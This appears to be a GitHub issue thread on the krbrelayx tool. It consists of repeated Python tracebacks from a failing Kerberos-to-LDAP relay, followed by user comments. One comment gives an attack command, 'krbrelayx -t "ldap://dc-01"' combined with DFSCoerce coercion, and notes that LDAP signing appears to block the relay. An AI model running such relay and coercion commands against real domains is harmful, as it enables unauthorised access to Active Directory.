File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server
Traceback (most recent call last):
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 231, in SmbSessionSetup
self.do_relay(authdata)
File "/home/ some/pathkrbrelayx/lib/servers/smbrelayserver.py", line 581, in do_relay
if not client.initConnection(authdata, self.config.dcip):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathkrbrelayx/lib/clients/ldaprelayclient.py", line 44, in initConnection
ldap_kerberos_auth(self.session, authdata['krbauth'])
File "/home/ some/pathkrbrelayx/lib/utils/kerberos.py", line 272, in ldap_kerberos_auth
ldapconnection.refresh_server_info()
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 1427, in refresh_server_info
self.server.get_info_from_server(self)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 523, in get_info_from_server
self._get_dsa_info(connection)
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/server.py", line 404, in _get_dsa_info
result = connection.search(search_base='',
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/core/connection.py", line 853, in search
response = self.post_send_search(self.send('searchRequest', request, controls))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/sync.py", line 178, in post_send_search
responses, result = self.get_response(message_id)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/ some/pathimpacketV3/reqs/lib/python3.12/site-packages/ldap3/strategy/base.py", line 370, in get_response
raise LDAPSessionTerminatedByServerError(self.connection.last_error)
ldap3.core.exceptions.LDAPSessionTerminatedByServerError: session terminated by server

[er4z0r]

Please format your issue. How do you expect anyone to help you, if you just barf a bunch of cli output on here without another word or any code formatting?

[liorcohen470-wq]

hello, I think I might have same or similar issue.
when I the command
krbrelayx -t "ldap://dc-01"
and run the dfscoerce, I can see the
[] SMBD: Received connection from ...
and nothing else happens, so I tried to capture the ldap traffic and it seems the sasl authentication was successful but the server I relayed the kerberos to doesn't replay for the searchrequest ""
have anyone encountered the same issue?

-- edit --
the original blog says because the authenticator contains flag that says integrity is supported it triggers ldap signing, which seems to be the reason why the server doesn't respond to the ldap searchrequest, so I guess relay to ldap is not possible yet.